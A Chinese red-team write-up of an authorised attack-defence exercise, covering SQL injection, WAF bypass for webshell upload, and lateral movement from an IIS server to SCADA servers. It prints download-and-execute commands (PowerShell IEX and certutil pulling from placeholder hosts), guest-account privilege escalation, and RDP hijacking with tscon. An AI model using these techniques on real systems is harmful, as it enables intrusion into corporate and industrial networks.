前言

好久没写实战文章了,过年过的手都麻了,一天不渗透我是浑身难受。正想找几个站泄泄火呢。刚好就接到了领导的任务,需要我去参加某集团组织的攻防演练。过程即简单也曲折,好在成功绕过waf,且横向渗透取得办公区运维机权限,最终取得工控生产区服务器权限,完成渗透目标,skr~skr~。

sql注入打点

经过前期不断的信息收集,发现目标下的某办公系统,根据本次规则,其下属单位也在攻击范围内,且和主目标属于一个c段。向裁判沟通,确定了目标在演练范围内,直接冲。

1657121774_62c5abeec6fac3fb4bd42.png!small

没发现弱口令,各种翻源码和信息收集,后来在Js里找到一处未授权访问的接口。

1657121790_62c5abfec9c3fe41db95b.png!small

经测试,这个接口存在SQL注入,WAF稍微绕一下即可。

1657121797_62c5ac057d961937f9296.png!small

跑出来管理后台口令和密码,成功登录管理后台。

1657121804_62c5ac0c2b04070e3abdb.png!small

bypass waf getshell

登录后发现存在上传功能,通过对上传点测试发现存在任意文件上传,且存在未知waf。

当数据包中存在非法内容时,waf会对数据包进行阻断。

拦截了非法后缀名

1657121811_62c5ac1308f241ef6b2f4.png!small


拦截了文件内容


1657121817_62c5ac197e732923913c1.png!small

绕过硬件waf

开始尝试绕过waf,首先对文件后缀名的限制进行bypass

尝试使用修改Content-Type进行bypass

修改前:


Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynyPW4lGbujY0nBEL

在"boundary="和"----"中间插入tab键。

修改后:


Content-Type: multipart/form-data; boundary=	----WebKitFormBoundarynyPW4lGbujY0nBEL


1657121825_62c5ac21d7dac0f04c2c0.png!small

成功绕过后缀名检测。


1657121832_62c5ac288690d2ab17557.png!small


接下来尝试对文件内容检测进行绕过。

测试发现最基础的输出hello world 都会被拦截。

<% response.write("hello world")  %>

1657121839_62c5ac2fc4194200346a6.png!small


经过测试发现waf对 <% %> 进行了匹配,因为我不懂.net,于是找之前做.net开发的大学同学看看有没有解决办法。

1657121845_62c5ac350c3cb7575551f.png!small

1657121850_62c5ac3a767edc02f6872.png!small


经过一段时间的闲聊,问题没有解决掉。


没办法,如果无法绕过waf的规则,只能从waf缺陷上入手了。

根据以前的经验,可以使用垃圾数据构造一个大的数据包,然后把恶意代码藏到里面,由于waf检测要考虑内存占用,带宽占用等等不可避免的问题,因此有几率绕过waf检测。

1657121858_62c5ac4207cc49d3762e4.png!small

成功上传了菜刀马。

使用客户端连接超时,看来waf还对常见的客户端流量特征进行了查杀。

1657121864_62c5ac485710253c4ca9c.png!small

这里可以使用去除特征的客户端连接,或者使用中转的方式绕过。

绕过代码waf

决定重新上传一个命令执行功能的小马,新的问题出现了。

1657121870_62c5ac4eaa3cd11220fb0.png!small

返回了报错,猜测是因为小马中存在函数代码内容,触发了代码层waf。

这里绕了个弯路,由于之前的一句话木马上传成功了,因此我第一时间就去翻之前收集的免杀小马进行尝试,结果全部上传失败。

1657121876_62c5ac5423bb7650aeb83.png!small

怀疑可能是我的小马免杀能力不够强,于是试了团队其它成员的木马,有没有可以成功。

最后试了n多个都不行。

路没走通,因为决定具体去看看拦截的规则。

尝试把之前的小马分的多段,一段一段的添加测试,寻找拦截的点,经过尝试,发现waf并没有做大小写的判断。

也就只说只要把拦截的参数大小写改变一下就能bypass。

比如修改Request为RequesT

1657121882_62c5ac5ac1cd490c75355.png!small

最终把所有拦截的参数通过这种方式进行bypass。


1657121889_62c5ac6193ff99b7be341.png!small


成功访问到小马,getshell成功。


1657121896_62c5ac688b4f171aaa3af.png!small


横向渗透

目前得到了一个iis的命令执行权限,为了方便内网横向,需要上线cs。

首先使用ping命令确定目标出网情况。

1657121903_62c5ac6f450f80f3e7d3b.png!small

可以尝试执行powershell命令直接上线cs

powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))


也可以使用证书下载尝试下载木马到服务器执行。


certutil.exe -urlcache -split -f http://x.x.x.x/x.exe  D:\x.exe


存在杀软的情况需要对powershell命令或exe进行免杀处理,这里不再详细展开。(可关注Tide免杀系列文章)


这里利用免杀powershell命令让cs成功上线,并且利用烂土豆插件成功提权至system权限。(可关注明湖论剑《cs木马免杀技巧分享》的PPT)

Powershell.exe  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal   set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')


1657121910_62c5ac762ecb7b6c2e996.png!small

1657121916_62c5ac7cc7ce7d2a49520.png!small


发现目标为server2012服务器,无法读取明文密码,因此选择激活guest用户。


net user guest   /active:yes
net user guest   tide@123456
net localgroup   administrators  guest   /add

搭建socks5隧道(nps,frp)

登录guest用户,使用rdp劫持登录administrator。


query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1为目标会话id和当前会话名
net start tide


1657121923_62c5ac83a215a4903239f.png!small


成功登录后通过在本机进行信息收集,发现远程连接的凭证信息,其它服务数据库密码等等信息。


1657121929_62c5ac89ea3e260c24702.png!small

利用收集到的信息进行不断的横向移动。

1657121936_62c5ac900e67dfc7587ad.png!small

收集了一堆弱口令,拿下了若干服务器后,没发现过多敏感东西,都是一些乱七八糟的web应用。

1657121941_62c5ac95ca2d07a058c8b.png!small

功夫不负有心人,内网里绕了N圈,最终发现某台服务器上居然奇葩的保存了一台win7电脑的远程连接凭证。

1657121947_62c5ac9bc11b0d3214364.png!small


进入运维区

win7系统一般为个人办公用,登录后果然是办公区个人pc电脑,眉头一皱,这事果然不简单。

1657121953_62c5aca121141fde385d8.png!small

经过判断应该是运维人员的办公PC,发财了发财了。

花费了大量时间在本机进行信息收集,找到了内网导航站,大概清楚了其内网网络的划分结构。

1657121958_62c5aca6e5546f54af3dc.png!small

通过查找运维邮箱,发现了一个机房密码本文件。获得了大量机房服务器密码本,以及一些重要业务系统的管理员密码。

1657121964_62c5acac6f72cacdec386.png!small

保存了大量重要服务器的密码。

进入工控生产区

通过网络测试,该运维机居然可直通工控生产区,密码本保存的密码大部分仍有效,可直接登录SCADA服务器。

1657121971_62c5acb3a946db4304c17.png!small

(文图无关)

1657121981_62c5acbd5f3b914e9b989.png!small

(文图无关)

成功登录,进入到了核心生产内网,点到为止,至此本次渗透结束。

总结

本次渗透,大量的时间花费在了bypass waf和内网信息收集上,最终通过搜集到的机房服务器密码本,让本次渗透直接取得了工控区权限,可谓是非常"简单"。

本文作者:TideSec, 转自FreeBuf